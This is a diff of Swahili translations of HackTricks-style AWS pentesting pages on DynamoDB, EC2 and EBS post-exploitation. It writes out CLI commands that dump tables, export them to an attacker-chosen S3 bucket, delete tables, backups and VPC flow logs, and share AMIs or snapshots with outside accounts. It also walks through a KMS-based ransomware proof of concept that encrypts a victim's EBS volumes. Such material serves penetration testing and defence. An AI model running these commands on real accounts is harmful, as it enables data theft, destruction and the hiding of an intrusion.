> Sasa mshambuliaji ataweza kutumia token kutoka kwa mashine yake, kuorodhesha haki zote alizo nazo na (ku)zitumia kwa urahisi zaidi kuliko kutumia huduma ya CodeBuild moja kwa moja.
|
||||
> Sasa mshambuliaji ataweza kutumia token kutoka kwa mashine yake, kuorodhesha haki zote alizo nazo na (kuitumia) kwa urahisi zaidi kuliko kutumia huduma ya CodeBuild moja kwa moja.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -8,9 +8,9 @@
|
||||
../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Wezesha / Zima Mifumo
|
||||
### Wezesha / Zima Udhibiti
|
||||
|
||||
Ili kuendelea kutumia akaunti, unaweza kuhitaji kuzima/kuwezesha mifumo ya Control Tower:
|
||||
Ili kuendelea kutumia akaunti, unaweza kuhitaji kuzima/kuwezesha udhibiti wa Control Tower:
|
||||
```bash
|
||||
aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
|
||||
aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
|
||||
|
||||
@@ -6,17 +6,17 @@
|
||||
|
||||
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
|
||||
|
||||
Shambulio la ransomware linaweza kutekelezwa kwa kuficha kiasi cha EBS volumes kadri iwezekanavyo na kisha kufuta EC2 instances, EBS volumes, na snapshots za sasa. Ili kuendesha shughuli hii mbaya, mtu anaweza kutumia Amazon DLM, akificha snapshots kwa kutumia funguo za KMS kutoka akaunti nyingine ya AWS na kuhamasisha snapshots zilizofichwa kwa akaunti tofauti. Vinginevyo, wanaweza kuhamasisha snapshots bila kuficha kwa akaunti wanayosimamia na kisha kuzificha huko. Ingawa si rahisi kuficha EBS volumes au snapshots zilizopo moja kwa moja, inawezekana kufanya hivyo kwa kuunda volume au snapshot mpya.
|
||||
Shambulio la ransomware linaweza kutekelezwa kwa kuficha kiasi kikubwa cha EBS volumes na kisha kufuta EC2 instances, EBS volumes, na snapshots za sasa. Ili kuendesha shughuli hii mbaya, mtu anaweza kutumia Amazon DLM, akificha snapshots kwa kutumia KMS key kutoka akaunti nyingine ya AWS na kuhamasisha snapshots zilizofichwa kwa akaunti tofauti. Vinginevyo, wanaweza kuhamasisha snapshots bila kuficha kwa akaunti wanayosimamia na kisha kuzificha huko. Ingawa si rahisi kuficha EBS volumes au snapshots zilizopo moja kwa moja, inawezekana kufanya hivyo kwa kuunda volume au snapshot mpya.
|
||||
|
||||
Kwanza, mtu atatumia amri kukusanya taarifa kuhusu volumes, kama vile ID ya instance, ID ya volume, hali ya ufichaji, hali ya kiambatisho, na aina ya volume.
|
||||
Kwanza, mtu atatumia amri kukusanya taarifa kuhusu volumes, kama vile instance ID, volume ID, hali ya ufichaji, hali ya kiambatisho, na aina ya volume.
|
||||
|
||||
`aws ec2 describe-volumes`
|
||||
|
||||
Pili, mtu ataunda sera ya mzunguko wa maisha. Amri hii inatumia DLM API kuanzisha sera ya mzunguko wa maisha ambayo inachukua snapshots za kila siku za volumes zilizotajwa kwa wakati ulioainishwa. Pia inatumia lebo maalum kwa snapshots na nakala za lebo kutoka kwa volumes hadi snapshots. Faili ya policyDetails.json inajumuisha maelezo ya sera ya mzunguko wa maisha, kama vile lebo za lengo, ratiba, ARN ya funguo ya KMS ya hiari kwa ufichaji, na akaunti ya lengo kwa ajili ya kushiriki snapshots, ambayo itarekodiwa katika kumbukumbu za CloudTrail za mwathirika.
|
||||
Pili, mtu ataunda sera ya maisha. Amri hii inatumia DLM API kuanzisha sera ya maisha ambayo kiotomatiki inachukua snapshots za kila siku za volumes zilizotajwa kwa wakati maalum. Pia inatumia lebo maalum kwa snapshots na nakala za lebo kutoka kwa volumes hadi snapshots. Faili ya policyDetails.json inajumuisha maelezo ya sera ya maisha, kama vile lebo za lengo, ratiba, ARN ya KMS key ya hiari kwa ajili ya ufichaji, na akaunti ya lengo kwa ajili ya kushiriki snapshots, ambayo itarekodiwa katika kumbukumbu za CloudTrail za mwathirika.
|
||||
```bash
|
||||
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
|
||||
```
|
||||
Template ya hati ya sera inaweza kuonekana hapa:
|
||||
Kiolezo cha hati ya sera kinaweza kuonekana hapa:
|
||||
```bash
|
||||
{
|
||||
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
|
||||
|
||||
@@ -12,7 +12,7 @@ Kwa maelezo zaidi angalia:
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
Mshambuliaji mwenye ruhusa hii ataweza **kupata vitu kutoka kwa meza kwa ufunguo wa msingi** (huwezi tu kuomba data zote za meza). Hii inamaanisha kuwa unahitaji kujua funguo za msingi (unaweza kupata hii kwa kupata metadata ya meza (`describe-table`).
|
||||
Mshambuliaji mwenye ruhusa hii ataweza **kupata vitu kutoka kwenye meza kwa ufunguo wa msingi** (huwezi tu kuomba data zote za meza). Hii inamaanisha unahitaji kujua funguo za msingi (unaweza kupata hii kwa kupata metadata ya meza (`describe-table`).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -47,7 +47,7 @@ aws dynamodb batch-get-item \
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**Kama ruhusa za awali** hii inamruhusu mshambuliaji mwenye uwezo kusoma thamani kutoka jedwali 1 tu kwa kutolewa kwa ufunguo wa msingi wa kipengee cha kupata:
|
||||
**Kama ruhusa za awali** hii inamruhusu mshambuliaji mwenye uwezo kusoma thamani kutoka jedwali moja tu kwa kutolewa kwa ufunguo wa msingi wa kipengee cha kupata:
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
}
|
||||
}
|
||||
```
|
||||
Na ruhusa hii, pia inawezekana kutumia njia ya **`transact-get-items`** kama:
|
||||
Kwa ruhusa hii inawezekana pia kutumia njia ya **`transact-get-items`** kama:
|
||||
```json
|
||||
aws dynamodb transact-get-items \
|
||||
--transact-items file:///tmp/a.json
|
||||
@@ -79,7 +79,7 @@ aws dynamodb transact-get-items \
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**Kama ruhusa za awali** hii inaruhusu mshambuliaji mwenye uwezo kusoma thamani kutoka jedwali 1 tu kwa kutumia ufunguo wa msingi wa kipengee kinachopaswa kupatikana. Inaruhusu kutumia [sehemu ya kulinganisha](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), lakini kulinganisha pekee linaloruhusiwa na ufunguo wa msingi (ambalo lazima lionekane) ni "EQ", hivyo huwezi kutumia kulinganisha kupata DB nzima katika ombi.
|
||||
**Kama ruhusa za awali** hii inaruhusu mshambuliaji mwenye uwezo kusoma thamani kutoka jedwali 1 tu kwa kutolewa kwa ufunguo wa msingi wa kipengee kinachopaswa kupatikana. Inaruhusu kutumia [seti ndogo ya kulinganisha](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), lakini kulinganisha pekee linaloruhusiwa na ufunguo wa msingi (ambalo lazima lionekane) ni "EQ", hivyo huwezi kutumia kulinganisha kupata DB nzima katika ombi.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -111,7 +111,7 @@ aws dynamodb query \
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
Unaweza kutumia ruhusa hii **kutoa jedwali zima kwa urahisi**.
|
||||
Unaweza kutumia ruhusa hii **kudondosha jedwali zima kwa urahisi**.
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
@@ -119,23 +119,23 @@ aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
Unaweza kutumia ruhusa hii **kutoa jedwali zima kwa urahisi**.
|
||||
Unaweza kutumia ruhusa hii **kudondosha jedwali zima kwa urahisi**.
|
||||
```bash
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
```
|
||||
Hii ruhusa pia inaruhusu kutekeleza `batch-execute-statement` kama:
|
||||
Ruhusa hii pia inaruhusu kutekeleza `batch-execute-statement` kama:
|
||||
```bash
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
```
|
||||
lakini unahitaji kubainisha ufunguo wa msingi na thamani, hivyo siyo faida sana.
|
||||
lakini unahitaji kubainisha ufunguo wa msingi wenye thamani, hivyo siyo faida sana.
|
||||
|
||||
**Madhara Yanayoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali
|
||||
**Athari Zinazoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
Ruhusa hii itamruhusu mshambuliaji **kutoa jedwali lote kwenye kikasha cha S3** alichokichagua:
|
||||
Ruhusa hii itamruhusu mshambuliaji **kutoa jedwali zima kwenye S3 bucket** ya uchaguzi wake:
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
@@ -144,7 +144,7 @@ aws dynamodb export-table-to-point-in-time \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
Kumbuka kwamba ili hii ifanye kazi, jedwali linahitaji kuwa na point-in-time-recovery iliyoanzishwa, unaweza kuangalia kama jedwali lina hiyo kwa:
|
||||
Kumbuka kwamba ili hii ifanye kazi, jedwali linahitaji kuwa na point-in-time-recovery imewezeshwa, unaweza kuangalia kama jedwali lina hiyo kwa:
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
@@ -159,7 +159,7 @@ aws dynamodb update-continuous-backups \
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
Kwa ruhusa hizi, mshambuliaji angeweza **kuunda jedwali jipya kutoka kwa nakala ya akiba** (au hata kuunda nakala ya akiba ili kisha aifufue katika jedwali tofauti). Kisha, kwa ruhusa zinazohitajika, angeweza kuangalia **taarifa** kutoka kwa akiba ambazo haziwezi kuwa tena katika jedwali la uzalishaji.
|
||||
Kwa ruhusa hizi, mshambuliaji angeweza **kuunda jedwali jipya kutoka kwa nakala ya akiba** (au hata kuunda akiba ili kisha aifufue katika jedwali tofauti). Kisha, kwa ruhusa zinazohitajika, angeweza kuangalia **taarifa** kutoka kwa akiba ambazo h**aziwezi kuwa tena katika uzalishaji** jedwali.
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
@@ -170,7 +170,7 @@ aws dynamodb restore-table-from-backup \
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
Ruhusa hii inawawezesha watumiaji kuongeza **kitu kipya kwenye meza au kubadilisha kitu kilichopo** na kitu kipya. Ikiwa kitu chenye ufunguo wa msingi sawa tayari kipo, **kitu chote kitabadilishwa** na kitu kipya. Ikiwa ufunguo wa msingi haupo, kitu kipya chenye ufunguo wa msingi ulioainishwa kitaundwa **.**
|
||||
Ruhusa hii inawawezesha watumiaji kuongeza **kitu kipya kwenye meza au kubadilisha kitu kilichopo** na kitu kipya. Ikiwa kitu chenye ufunguo wa msingi sawa tayari kipo, **kitu chote kitabadilishwa** na kitu kipya. Ikiwa ufunguo wa msingi haupo, kitu kipya chenye ufunguo wa msingi ulioainishwa kitaundwa **mpya**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -242,11 +242,11 @@ aws dynamodb update-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Madhara Yanayoweza Kutokea:** Kutumiwa kwa udhaifu/kuvunjwa zaidi kwa kuwa na uwezo wa kuongeza/kubadilisha data katika jedwali la DynamoDB
|
||||
**Madhara Yanayoweza Kutokea:** Kutumiwa kwa udhaifu zaidi/kuvunjwa kwa kinga kwa kuwa na uwezo wa kuongeza/kubadilisha data katika jedwali la DynamoDB
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
Mshambuliaji mwenye ruhusa hii anaweza **kufuta jedwali la DynamoDB, na kusababisha kupoteza data**.
|
||||
Mshambuliaji mwenye ruhusa hii anaweza **kufuta jedwali la DynamoDB, na kusababisha kupotea kwa data**.
|
||||
```bash
|
||||
aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
@@ -256,13 +256,13 @@ aws dynamodb delete-table \
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
Mshambuliaji mwenye ruhusa hii anaweza **kufuta nakala ya akiba ya DynamoDB, ambayo inaweza kusababisha kupoteza data katika hali ya kuokoa dharura**.
|
||||
Mshambuliaji mwenye ruhusa hii anaweza **kufuta nakala ya akiba ya DynamoDB, ambayo inaweza kusababisha kupoteza data katika hali ya kurejesha baada ya janga**.
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
**Madhara yanayoweza kutokea**: Kupoteza data na kutoweza kurejesha kutoka kwa nakala ya akiba wakati wa hali ya dharura ya urejeleaji.
|
||||
**Madhara yanayoweza kutokea**: Kupoteza data na kutoweza kurejesha kutoka kwa nakala ya akiba wakati wa hali ya kuokoa janga.
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
@@ -278,7 +278,7 @@ bashCopy codeaws dynamodb update-table \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
```
|
||||
2. Eleza mchakato wa kupata ARN na maelezo mengine:
|
||||
2. Eleza mtiririko wa kupata ARN na maelezo mengine:
|
||||
```bash
|
||||
bashCopy codeaws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
@@ -298,6 +298,6 @@ bashCopy codeaws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
**Madhara yanayoweza kutokea**: Ufuatiliaji wa wakati halisi na uvujaji wa data za mabadiliko ya jedwali la DynamoDB.
|
||||
**Madhara yanayoweza kutokea**: Ufuatiliaji wa wakati halisi na uvujaji wa data za mabadiliko ya jedwali la DynamoDB.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,7 @@ Kwa maelezo zaidi angalia:
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC traffic mirroring **hupiga nakala ya trafiki ya ndani na nje kwa EC2 instances ndani ya VPC** bila haja ya kufunga chochote kwenye instances wenyewe. Trafiki hii iliyopigwa nakala kawaida itatumwa kwa kitu kama mfumo wa kugundua uvamizi wa mtandao (IDS) kwa uchambuzi na ufuatiliaji.\
|
||||
Kuhifadhiwa kwa trafiki ya VPC **kunakilisha trafiki ya kuingia na kutoka kwa EC2 instances ndani ya VPC** bila haja ya kufunga chochote kwenye instances wenyewe. Trafiki hii iliyokilishwa kawaida itatumwa kwa kitu kama mfumo wa kugundua uvamizi wa mtandao (IDS) kwa uchambuzi na ufuatiliaji.\
|
||||
Mshambuliaji anaweza kutumia hii kukamata trafiki yote na kupata taarifa nyeti kutoka kwake:
|
||||
|
||||
Kwa maelezo zaidi angalia ukurasa huu:
|
||||
@@ -21,7 +21,7 @@ Kwa maelezo zaidi angalia ukurasa huu:
|
||||
aws-malicious-vpc-mirror.md
|
||||
{{#endref}}
|
||||
|
||||
### Copy Running Instance
|
||||
### Nakala ya Instance Inayoendesha
|
||||
|
||||
Instances kwa kawaida zina aina fulani ya taarifa nyeti. Kuna njia tofauti za kuingia (angalia [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). Hata hivyo, njia nyingine ya kuangalia kile inachokimiliki ni **kuunda AMI na kuendesha instance mpya (hata katika akaunti yako mwenyewe) kutoka kwake**:
|
||||
```shell
|
||||
@@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots ni nakala za volumes**, ambazo kwa kawaida zitakuwa na **taarifa nyeti**, kwa hivyo kuzikagua kunapaswa kufichua taarifa hii.\
|
||||
Ikiwa unapata **volume bila snapshot** unaweza: **Kuunda snapshot** na kufanya hatua zifuatazo au tu **kuunganisha kwenye mfano** ndani ya akaunti:
|
||||
**Snapshots ni nakala za volumes**, ambazo kwa kawaida zitakuwa na **taarifa nyeti**, hivyo kuzikagua kunapaswa kufichua taarifa hii.\
|
||||
Ikiwa unapata **volume bila snapshot** unaweza: **Kuunda snapshot** na kufanya hatua zifuatazo au tu **kuunganisha kwenye instance** ndani ya akaunti:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -85,7 +85,7 @@ Inawezekana kuendesha EC2 instance na kuisajili kutumika kuendesha ECS instances
|
||||
|
||||
Kwa [**maelezo zaidi angalia hii**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
|
||||
|
||||
### Ondoa VPC flow logs
|
||||
### Remove VPC flow logs
|
||||
```bash
|
||||
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
@@ -95,7 +95,7 @@ Required permissions:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
Mbali na utekelezaji wa amri, SSM inaruhusu tunneling ya trafiki ambayo inaweza kutumika kuhamasisha kutoka kwa EC2 instances ambazo hazina ufikiaji wa mtandao kwa sababu ya Security Groups au NACLs. Mojawapo ya hali ambapo hii ni muhimu ni kuhamasisha kutoka kwa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) hadi klasta ya EKS ya kibinafsi.
|
||||
Mbali na utekelezaji wa amri, SSM inaruhusu tunneling ya trafiki ambayo inaweza kutumika kubadilisha kutoka kwa EC2 instances ambazo hazina ufikiaji wa mtandao kwa sababu ya Security Groups au NACLs. Mojawapo ya hali ambapo hii ni muhimu ni kubadilisha kutoka kwa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) hadi klasta ya EKS ya kibinafsi.
|
||||
|
||||
> Ili kuanza kikao unahitaji kuwa na SessionManagerPlugin iliyosakinishwa: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
@@ -119,17 +119,17 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks.
|
||||
Kumbuka kwamba muunganisho wa SSL utafaulu isipokuwa uweke bendera `--insecure-skip-tls-verify` (au sawa yake katika zana za ukaguzi za K8s). Kwa kuwa trafiki inapitishwa kupitia handaki salama la AWS SSM, uko salama kutokana na aina yoyote ya mashambulizi ya MitM.
|
||||
|
||||
Finally, this technique is not specific to attacking private EKS clusters. You can set arbitrary domains and ports to pivot to any other AWS service or a custom application.
|
||||
Hatimaye, mbinu hii si maalum kwa kushambulia vikundi vya EKS vya kibinafsi. Unaweza kuweka maeneo na bandari za kiholela kuhamasisha huduma nyingine yoyote ya AWS au programu maalum.
|
||||
|
||||
### Shiriki AMI
|
||||
### Share AMI
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### Tafuta taarifa nyeti katika AMIs za umma na binafsi
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ni chombo kilichoundwa ili **kutafuta taarifa nyeti ndani ya picha za mashine za Amazon (AMIs) za umma au binafsi**. Inafanya mchakato wa kuzindua mifano kutoka kwa AMIs za lengo, kuunganisha volumu zao, na kuchanganua kwa siri au data nyeti zinazoweza kuwepo.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ni chombo kilichoundwa ili **kutafuta taarifa nyeti ndani ya Picha za Mashine za Amazon (AMIs) za umma au binafsi**. Inafanya mchakato wa kuzindua matukio kutoka kwa AMIs lengwa, kuunganisha volumu zao, na kuchanganua kwa siri au data nyeti zinazoweza kuwepo.
|
||||
|
||||
### Shiriki EBS Snapshot
|
||||
```bash
|
||||
@@ -137,9 +137,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Uthibitisho wa dhana unaofanana na onyesho la Ransomware lililoonyeshwa katika maelezo ya baada ya kutumia S3. KMS inapaswa kubadilishwa jina kuwa RMS kwa Huduma ya Usimamizi wa Ransomware kutokana na urahisi wa kuitumia kuandika huduma mbalimbali za AWS kwa kutumia hiyo.
|
||||
Uthibitisho wa dhana unaofanana na onyesho la Ransomware lililoonyeshwa katika maelezo ya S3 post-exploitation. KMS inapaswa kubadilishwa jina kuwa RMS kwa Huduma ya Usimamizi wa Ransomware kutokana na urahisi wa kuitumia kuandika huduma mbalimbali za AWS kwa kutumia hiyo.
|
||||
|
||||
Kwanza kutoka kwa akaunti ya 'mshambuliaji' ya AWS, tengeneza ufunguo unaosimamiwa na mteja katika KMS. Kwa mfano huu tutaruhusu AWS kusimamia data ya ufunguo kwangu, lakini katika hali halisi, mhusika mbaya angehifadhi data ya ufunguo nje ya udhibiti wa AWS. Badilisha sera ya ufunguo ili kuruhusu kwa akaunti yoyote ya AWS Principal kutumia ufunguo huo. Kwa sera hii ya ufunguo, jina la akaunti lilikuwa 'AttackSim' na sheria ya sera inayoruhusu ufikiaji wote inaitwa 'Outside Encryption'
|
||||
Kwanza kutoka kwa akaunti ya 'mshambuliaji' ya AWS, tengeneza funguo inayosimamiwa na mteja katika KMS. Kwa mfano huu tutaruhusu AWS kusimamia data ya funguo kwangu, lakini katika hali halisi, mhusika mbaya angehifadhi data ya funguo nje ya udhibiti wa AWS. Badilisha sera ya funguo ili kuruhusu kwa Principal ya akaunti yoyote ya AWS kutumia funguo hiyo. Kwa sera hii ya funguo, jina la akaunti lilikuwa 'AttackSim' na sheria ya sera inayoruhusu ufikiaji wote inaitwa 'Outside Encryption'
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -231,7 +231,7 @@ Kwanza kutoka kwa akaunti ya 'mshambuliaji' ya AWS, tengeneza ufunguo unaosimami
|
||||
]
|
||||
}
|
||||
```
|
||||
The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
|
||||
Sera ya funguo inahitaji yafuatayo kuwezeshwa ili kuruhusu uwezo wa kuitumia kuandika EBS volume:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -239,21 +239,21 @@ The key policy rule needs the following enabled to allow for the ability to use
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Sasa na ufunguo unaopatikana kwa umma wa kutumia. Tunaweza kutumia akaunti ya 'madhara' ambayo ina baadhi ya EC2 instances zilizozinduliwa zikiwa na EBS volumes zisizo na usimbuaji. EBS volumes za akaunti hii ya 'madhara' ndizo tunazolenga kwa ajili ya usimbuaji, shambulio hili linachukuliwa chini ya uvunjaji wa akaunti ya AWS yenye mamlaka ya juu.
|
||||
Sasa na funguo inayopatikana hadharani kutumia. Tunaweza kutumia akaunti ya 'mwathirika' ambayo ina EC2 instances kadhaa zilizozinduliwa zikiwa na EBS volumes zisizoandikwa. EBS volumes za akaunti hii ya 'mwathirika' ndizo tunazolenga kwa ajili ya kuandika, shambulio hili liko chini ya dhana ya uvunjaji wa akaunti ya AWS yenye mamlaka ya juu.
|
||||
|
||||
 
|
||||
|
||||
Kama mfano wa ransomware wa S3. Shambulio hili litaunda nakala za EBS volumes zilizounganishwa kwa kutumia snapshots, kutumia ufunguo unaopatikana kwa umma kutoka akaunti ya 'mshambuliaji' kusimbua EBS volumes mpya, kisha kuondoa EBS volumes za asili kutoka kwa EC2 instances na kuzifuta, na hatimaye kufuta snapshots zilizotumika kuunda EBS volumes mpya zilizofichwa. 
|
||||
Kama mfano wa ransomware wa S3. Shambulio hili litaunda nakala za EBS volumes zilizounganishwa kwa kutumia snapshots, kutumia funguo inayopatikana hadharani kutoka akaunti ya 'mshambuliaji' kuandika EBS volumes mpya, kisha kuondoa EBS volumes za asili kutoka EC2 instances na kuzifuta, na hatimaye kufuta snapshots zilizotumika kuunda EBS volumes mpya zilizokuwa zimeandikwa. 
|
||||
|
||||
Hii inasababisha kuwa na EBS volumes tu zilizofichwa zilizobaki katika akaunti.
|
||||
Hii inasababisha kuwa na EBS volumes tu zilizokuwa zimeandikwa zilizobaki katika akaunti.
|
||||
|
||||

|
||||
|
||||
Pia inafaa kutaja, script ilisimamisha EC2 instances ili kuondoa na kufuta EBS volumes za asili. EBS volumes za asili zisizo na usimbuaji zimeondolewa sasa.
|
||||
Pia inafaa kutaja, script ilisimamisha EC2 instances ili kuondoa na kufuta EBS volumes za asili. EBS volumes za asili zisizoandikwa zimeondolewa sasa.
|
||||
|
||||

|
||||
|
||||
Ifuatayo, rudi kwenye sera ya ufunguo katika akaunti ya 'mshambuliaji' na uondoe sheria ya sera ya 'Ufunguo wa Nje' kutoka kwenye sera ya ufunguo.
|
||||
Sasa, rudi kwenye sera ya funguo katika akaunti ya 'mshambuliaji' na uondoe sheria ya sera ya 'Uandishi wa Nje' kutoka kwenye sera ya funguo.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -324,15 +324,15 @@ Ifuatayo, rudi kwenye sera ya ufunguo katika akaunti ya 'mshambuliaji' na uondoe
|
||||
]
|
||||
}
|
||||
```
|
||||
Subiri kwa muda ili sera mpya ya ufunguo iweze kuenea. Kisha rudi kwenye akaunti ya 'mwathirika' na jaribu kuunganisha moja ya volumu za EBS zilizofichwa kwa ufunguo mpya. Utagundua kwamba unaweza kuunganisha volumu hiyo.
|
||||
Subiri kwa muda ili sera mpya ya ufunguo iweze kuenea. Kisha rudi kwenye akaunti ya 'mwathirika' na jaribu kuunganisha moja ya EBS volumes mpya zilizofichwa. Utapata kuwa unaweza kuunganisha volume hiyo.
|
||||
|
||||
 
|
||||
|
||||
Lakini unapojaribu kuanzisha tena EC2 instance na volumu ya EBS iliyofichwa, itashindwa na kurudi kutoka hali ya 'pending' hadi hali ya 'stopped' milele kwani volumu ya EBS iliyounganishwa haiwezi kufichuliwa kwa kutumia ufunguo kwani sera ya ufunguo haiiruhusu tena.
|
||||
Lakini unapojaribu kuanzisha tena EC2 instance na EBS volume iliyofichwa itashindwa tu na kurudi kutoka hali ya 'pending' hadi hali ya 'stopped' milele kwani EBS volume iliyounganishwa haiwezi kufichuliwa kwa kutumia ufunguo kwani sera ya ufunguo haiiruhusu tena.
|
||||
|
||||
 
|
||||
|
||||
Hii ni script ya python inayotumika. Inachukua AWS creds kwa akaunti ya 'mwathirika' na thamani ya AWS ARN inayopatikana hadharani kwa ufunguo utakaotumika kwa ajili ya ufichaji. Script itafanya nakala zilizofichwa za VOLUMLA ZOTE zinazopatikana zilizounganishwa kwa EC2 instances ZOTE katika akaunti ya AWS iliyolengwa, kisha itasimamisha kila EC2 instance, kuondoa volumu za EBS za asili, kuzifuta, na hatimaye kufuta snapshots zote zilizotumika wakati wa mchakato. Hii itawaacha tu volumu za EBS zilizofichwa katika akaunti ya 'mwathirika' iliyolengwa. TUMIA TU SCRIPT HII KATIKA ENVIRONMENT YA KIJARIBIO, NI DESTRUCTIVE NA ITAFUTA VOLUMLA ZOTE ZA ASILI ZA EBS. Unaweza kuzirejesha kwa kutumia ufunguo wa KMS ulitumika na kuzirudisha katika hali yao ya awali kupitia snapshots, lakini nataka tu kukufahamisha kwamba hii ni PoC ya ransomware mwishoni mwa siku.
|
||||
